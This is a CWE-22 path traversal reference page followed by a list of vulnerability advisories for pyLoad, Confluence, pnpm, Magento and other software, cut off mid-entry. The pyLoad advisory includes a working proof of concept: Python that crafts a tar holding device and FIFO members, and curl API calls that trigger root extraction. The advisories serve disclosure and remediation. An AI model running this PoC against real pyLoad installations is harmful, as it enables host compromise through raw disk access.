CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
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updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
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updated Potential_Mitigations
updated Relationships
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updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
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updated Other_Notes, Research_Gaps
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updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
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updated Observed_Examples
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updated Demonstrative_Examples, Relationships
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updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16105 vulnerabilities reference this CWE, most recent first.
GHSA-FR26-JJHM-638C
Vulnerability from github – Published: 2026-10-09 17:08 – Updated: 2026-11-09 21:13Summary
UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member
names and symlink/hardlink targets, but never checks member types, and calls
tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is
fully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create
them on disk. When pyLoad runs as root (the official Docker deployment), a block-device
member grants raw disk access — full host compromise — reachable by any low-privileged user
who can trigger archive extraction (ADD to supply an archive, STATUS to invoke
ExtractArchive.extract_package).
Details
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only
raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner) # no filter=
No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation
in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults
to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create
FIFOs for any euid.
PoC
BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF
# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' \
-d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'
ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev (character device created)
# → prw-r--r-- 1 root root pipe (FIFO created)
# → -rw-r--r-- 1 root root marker.txt
Negative control: the same flow with a ../evil traversal member is rejected
(ArchiveError: Attempted path traversal in archive) and nothing is extracted — the
GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary
is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is
reached via non-mapped names — as above — content-sniffed containers, or when 7z is
absent/fails.)
Impact
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.
Remediation
In _safe_extractall, reject (or skip) every member that is not a regular file, directory,
or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass
filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply
the same member-type validation in the pre-extraction validator so all extractors share it.
References
- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev101"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-123815"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T17:08:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`UnTar._safe_extractall` \u2014 the hardening added for GHSA-mvwx-582f-56r7 \u2014 validates member\n**names** and symlink/hardlink **targets**, but never checks member **types**, and calls\n`tarfile.extractall` without a `filter=`. On Python \u003c 3.14 the default extraction filter is\n`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create\nthem on disk. When pyLoad runs as root (the official Docker deployment), a block-device\nmember grants raw disk access \u2014 full host compromise \u2014 reachable by any low-privileged user\nwho can trigger archive extraction (ADD to supply an archive, STATUS to invoke\n`ExtractArchive.extract_package`).\n\n### Details\n\n```python\n# plugins/extractors/UnTar.py:69-79\nfor member in tar.getmembers():\n if not is_within_directory(...) or \u003csymlink/hardlink target checks\u003e: # names/links only\n raise ArchiveError(...)\ntar.extractall(path, members, numeric_owner=numeric_owner) # no filter=\n```\n\nNo `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation\nin `plugins/base/extractor.py:191-263` is likewise name-only. Python\u0027s tarfile only defaults\nto a safe filter in 3.14; supported runtimes (3.9\u20133.13) honor `mknod` for euid=0 and create\nFIFOs for any euid.\n\n### PoC\n\n```bash\nBASE=http://127.0.0.1:8100\n# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member\npython3 - \u003c\u003c\u0027EOF\u0027\nimport tarfile, io\nt = tarfile.open(\u0027dev.bin\u0027,\u0027w\u0027) # name it *.bin so UnTar (content-sniffed) claims it\nt.addfile(tarfile.TarInfo(\u0027marker.txt\u0027), io.BytesIO(b\u0027MARKER\u0027))\ni = tarfile.TarInfo(\u0027nulldev\u0027); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666\nt.addfile(i)\nf = tarfile.TarInfo(\u0027pipe\u0027); f.type = tarfile.FIFOTYPE\nt.addfile(f); t.close()\nEOF\n\n# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,\n# then trigger extraction\ncurl -s -X POST \"$BASE/api/add_package\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"name\":\"poc\",\"links\":[\"http://x/dev.bin\"],\"dest\":1}\u0027\ncurl -s -X POST \"$BASE/api/service_call\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"service_name\":\"ExtractArchive.extract_package\",\"arguments\":[\"\u003cpid\u003e\"]}\u0027\n\nls -l \u003cextract dir\u003e\n# \u2192 crw-rw-rw- 1 root root 1, 3 nulldev (character device created)\n# \u2192 prw-r--r-- 1 root root pipe (FIFO created)\n# \u2192 -rw-r--r-- 1 root root marker.txt\n```\n\nNegative control: the same flow with a `../evil` traversal member is rejected\n(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted \u2014 the\nGHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary\nis present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is\nreached via non-mapped names \u2014 as above \u2014 content-sniffed containers, or when 7z is\nabsent/fails.)\n\n### Impact\n\nWith pyLoad as root, a crafted archive can create block/character device nodes at arbitrary\npaths (raw disk read/write \u2192 host compromise), plant FIFOs (process hangs, IPC confusion),\nor set special bits; non-root deployments still get FIFOs and node entries in\nuser-accessible trees.\n\n### Remediation\n\nIn `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,\nor safe link \u2014 e.g. `member.isdev() or isfifo()` \u2192 `ArchiveError` \u2014 and pass\n`filter=\"data\"` (Python \u2265 3.12 supports it; backport the check for older runtimes). Apply\nthe same member-type validation in the pre-extraction validator so all extractors share it.\n\n### References\n\n- GHSA-mvwx-582f-56r7 \u2014 the tar path-traversal fix this extends (names/links validated,\n member types not).",
"id": "GHSA-fr26-jjhm-638c",
"modified": "2026-11-09T21:13:24Z",
"published": "2026-10-09T17:08:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-fr26-jjhm-638c"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/09eec1b431b6942a1917f094f2c77bfbf5637f60"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)"
}
GHSA-FR2X-XWP6-RG7P
Vulnerability from github – Published: 2024-11-29 12:31 – Updated: 2024-11-29 12:31A vulnerability in ESM 11.6.10 allows unauthenticated access to the internal Snowservice API. This leads to improper handling of path traversal, insecure forwarding to an AJP backend without adequate validation, and lack of authentication for accessing internal API endpoints.
{
"affected": [],
"aliases": [
"CVE-2024-11481"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-29T08:15:04Z",
"severity": "HIGH"
},
"details": "A vulnerability in ESM 11.6.10 allows unauthenticated access to the internal Snowservice API. This leads to improper handling of path traversal, insecure forwarding to an AJP backend without adequate validation, and lack of authentication for accessing internal API endpoints.",
"id": "GHSA-fr2x-xwp6-rg7p",
"modified": "2024-11-29T12:31:48Z",
"published": "2024-11-29T12:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11481"
},
{
"type": "WEB",
"url": "https://thrive.trellix.com/s/article/000014058"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FR34-8FHG-2M6Q
Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2025-10-22 00:31The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
{
"affected": [],
"aliases": [
"CVE-2019-3396"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-25T19:29:00Z",
"severity": "CRITICAL"
},
"details": "The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.",
"id": "GHSA-fr34-8fhg-2m6q",
"modified": "2025-10-22T00:31:37Z",
"published": "2022-05-13T01:04:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3396"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/CONFSERVER-57974"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-3396"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46731"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/152568/Atlassian-Confluence-Widget-Connector-Macro-Velocity-Template-Injection.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/161065/Atlassian-Confluence-6.12.1-Template-Injection.html"
},
{
"type": "WEB",
"url": "http://www.rapid7.com/db/modules/exploit/multi/http/confluence_widget_connector"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FR38-JRWP-742H
Vulnerability from github – Published: 2024-10-02 12:30 – Updated: 2026-04-01 18:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Mestres do WP Checkout Mestres WP.This issue affects Checkout Mestres WP: from n/a through 8.6.
{
"affected": [],
"aliases": [
"CVE-2024-44030"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-02T10:15:04Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in Mestres do WP Checkout Mestres WP.This issue affects Checkout Mestres WP: from n/a through 8.6.",
"id": "GHSA-fr38-jrwp-742h",
"modified": "2026-04-01T18:31:55Z",
"published": "2024-10-02T12:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44030"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/checkout-mestres-wp/vulnerability/wordpress-checkout-mestres-wp-plugin-8-6-local-file-inclusion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/checkout-mestres-wp/wordpress-checkout-mestres-wp-plugin-8-6-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FR43-HCRJ-CR49
Vulnerability from github – Published: 2025-10-27 09:30 – Updated: 2025-10-27 09:30A flaw has been found in OpenWGA 7.11.12 Build 737. This affects an unknown function of the file WGA.File of the component TMLScript API. Executing manipulation can lead to path traversal. It is possible to launch the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-12250"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-27T09:15:36Z",
"severity": "MODERATE"
},
"details": "A flaw has been found in OpenWGA 7.11.12 Build 737. This affects an unknown function of the file WGA.File of the component TMLScript API. Executing manipulation can lead to path traversal. It is possible to launch the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-fr43-hcrj-cr49",
"modified": "2025-10-27T09:30:16Z",
"published": "2025-10-27T09:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12250"
},
{
"type": "WEB",
"url": "https://github.com/mikecole-mg/security_findings/blob/main/openwga/openwga-rce.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.329921"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.329921"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.673917"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FR4H-3CPH-29XV
Vulnerability from github – Published: 2026-06-27 00:02 – Updated: 2026-06-27 00:03Summary
The hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet.
A crafted lockfile alias could be joined directly under a hoisted node_modules directory. Traversal aliases could escape that directory, while reserved aliases such as .bin or .pnpm could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work.
Security boundary
- The TypeScript hoisted graph uses the shared safe join helper at the actual
dep.namesink. - The helper rejects traversal, absolute, platform-specific, and reserved package names.
- Pacquet validates the hoister's
dep.0.namebefore adding the graph node or recursing. - Both implementations return
ERR_PNPM_INVALID_DEPENDENCY_NAME. - Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases.
Exploit replay
Before the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created.
Files changed
fs/symlink-dependency/src/safeJoinModulesDir.tsprovides the TypeScript containment helper.installing/deps-restorer/src/lockfileToHoistedDepGraph.tsvalidates the parsed dependency name at the hoisted graph sink.pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs}mirrors that boundary in Rust.- TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names.
Commands run
$ pnpm --filter @pnpm/fs.symlink-dependency test
PASS: 24 tests
$ pnpm --filter @pnpm/installing.deps-restorer test test/index.ts
PASS: exploit regression and positive install control
$ cargo test --locked -p pacquet-package-manager --lib
PASS: 426 tests
$ cargo fmt --all -- --check
PASS
Validation
- TypeScript symlink helper: 24 passed.
- TypeScript exploit regression: 1 passed.
- TypeScript positive hoisted-install control: 1 passed.
- Targeted strict TypeScript compiles: passed.
- Targeted ESLint: zero errors.
- Pacquet helper tests: 3 passed.
- Full pacquet package-manager library suite: 426 passed.
cargo fmt, parsed two-document lockfile validation, andgit diff --check: passed.
Patch
Ready-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1
GitHub reports the branch as mergeable and has requested review from zkochan. GitHub intentionally does not run status checks on temporary private-fork PRs; the commands and outcomes above are the recorded local validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability
Compatibility
Valid unscoped and scoped package aliases continue to work. The changeset covers @pnpm/fs.symlink-dependency, @pnpm/installing.deps-restorer, and pnpm; pacquet is updated in the same commit for CLI parity.
Written by an agent (Codex, GPT-5).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.34.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-27T00:02:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe hoisted dependency alias issue tracked as GHSA-fr4h-3cph-29xv / CAND-PNPM-059 has been addressed in both pnpm and pacquet.\n\nA crafted lockfile alias could be joined directly under a hoisted `node_modules` directory. Traversal aliases could escape that directory, while reserved aliases such as `.bin` or `.pnpm` could overwrite pnpm-owned layout. This patch validates package-name semantics and path containment before graph insertion or filesystem work.\n\n## Security boundary\n\n- The TypeScript hoisted graph uses the shared safe join helper at the actual `dep.name` sink.\n- The helper rejects traversal, absolute, platform-specific, and reserved package names.\n- Pacquet validates the hoister\u0027s `dep.0.name` before adding the graph node or recursing.\n- Both implementations return `ERR_PNPM_INVALID_DEPENDENCY_NAME`.\n- Pacquet uses the same dependency-name containment rule at its hoisted graph sink as it uses for direct dependency aliases.\n\n## Exploit replay\n\nBefore the patch, a traversal alias in a hoisted lockfile imported package files outside the intended install root. With this patch, both pnpm and pacquet reject the alias before graph insertion or filesystem work, and the escaped file is not created.\n\n## Files changed\n\n- `fs/symlink-dependency/src/safeJoinModulesDir.ts` provides the TypeScript containment helper.\n- `installing/deps-restorer/src/lockfileToHoistedDepGraph.ts` validates the parsed dependency name at the hoisted graph sink.\n- `pacquet/crates/package-manager/src/{hoisted_dep_graph.rs,safe_join_modules_dir.rs}` mirrors that boundary in Rust.\n- TypeScript and Rust tests cover traversal, reserved aliases, and valid scoped names.\n\n## Commands run\n\n```text\n$ pnpm --filter @pnpm/fs.symlink-dependency test\nPASS: 24 tests\n$ pnpm --filter @pnpm/installing.deps-restorer test test/index.ts\nPASS: exploit regression and positive install control\n$ cargo test --locked -p pacquet-package-manager --lib\nPASS: 426 tests\n$ cargo fmt --all -- --check\nPASS\n```\n\n## Validation\n\n- TypeScript symlink helper: 24 passed.\n- TypeScript exploit regression: 1 passed.\n- TypeScript positive hoisted-install control: 1 passed.\n- Targeted strict TypeScript compiles: passed.\n- Targeted ESLint: zero errors.\n- Pacquet helper tests: 3 passed.\n- Full pacquet package-manager library suite: 426 passed.\n- `cargo fmt`, parsed two-document lockfile validation, and `git diff --check`: passed.\n\n## Patch\n\nReady-for-review private PR: https://github.com/pnpm/pnpm-ghsa-fr4h-3cph-29xv/pull/1\n\nGitHub reports the branch as mergeable and has requested review from `zkochan`. GitHub intentionally does not run status checks on temporary private-fork PRs; the commands and outcomes above are the recorded local validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability\n\n## Compatibility\n\nValid unscoped and scoped package aliases continue to work. The changeset covers `@pnpm/fs.symlink-dependency`, `@pnpm/installing.deps-restorer`, and `pnpm`; pacquet is updated in the same commit for CLI parity.\n\n---\nWritten by an agent (Codex, GPT-5).",
"id": "GHSA-fr4h-3cph-29xv",
"modified": "2026-06-27T00:03:02Z",
"published": "2026-06-27T00:02:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-fr4h-3cph-29xv"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "pnpm: Hoisted install imports lockfile alias outside node_modules"
}
GHSA-FR6F-XMFX-RRPQ
Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2025-02-10 20:34Magento versions 2.3.5-p1 and earlier, and 2.3.5-p1 and earlier have a path traversal vulnerability. Successful exploitation could lead to arbitrary code execution.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.5-p2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/project-community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-9689"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-11T17:19:56Z",
"nvd_published_at": "2020-07-29T13:15:00Z",
"severity": "MODERATE"
},
"details": "Magento versions 2.3.5-p1 and earlier, and 2.3.5-p1 and earlier have a path traversal vulnerability. Successful exploitation could lead to arbitrary code execution.",
"id": "GHSA-fr6f-xmfx-rrpq",
"modified": "2025-02-10T20:34:40Z",
"published": "2022-05-24T17:24:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9689"
},
{
"type": "WEB",
"url": "https://github.com/magento/magento2/commit/9436781734e47c83e96977fa770d255217680d5e#diff-7c7399d1d47cdaf120a1a503b7ad87f496d98790203dc82b395ec6bc2d430a55"
},
{
"type": "PACKAGE",
"url": "https://github.com/magento/magento2"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb20-47.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Magento path traversal vulnerability"
}
GHSA-FR6Q-JV7J-35G3
Vulnerability from github – Published: 2022-02-02 00:01 – Updated: 2022-02-07 19:12Path Traversal in NPM w-zip prior to 1.0.12.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "w-zip"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-0401"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-02-03T20:50:03Z",
"nvd_published_at": "2022-02-01T13:15:00Z",
"severity": "CRITICAL"
},
"details": "Path Traversal in NPM w-zip prior to 1.0.12.",
"id": "GHSA-fr6q-jv7j-35g3",
"modified": "2022-02-07T19:12:42Z",
"published": "2022-02-02T00:01:46Z",
"references": [
{
"type": "ADVISORY",
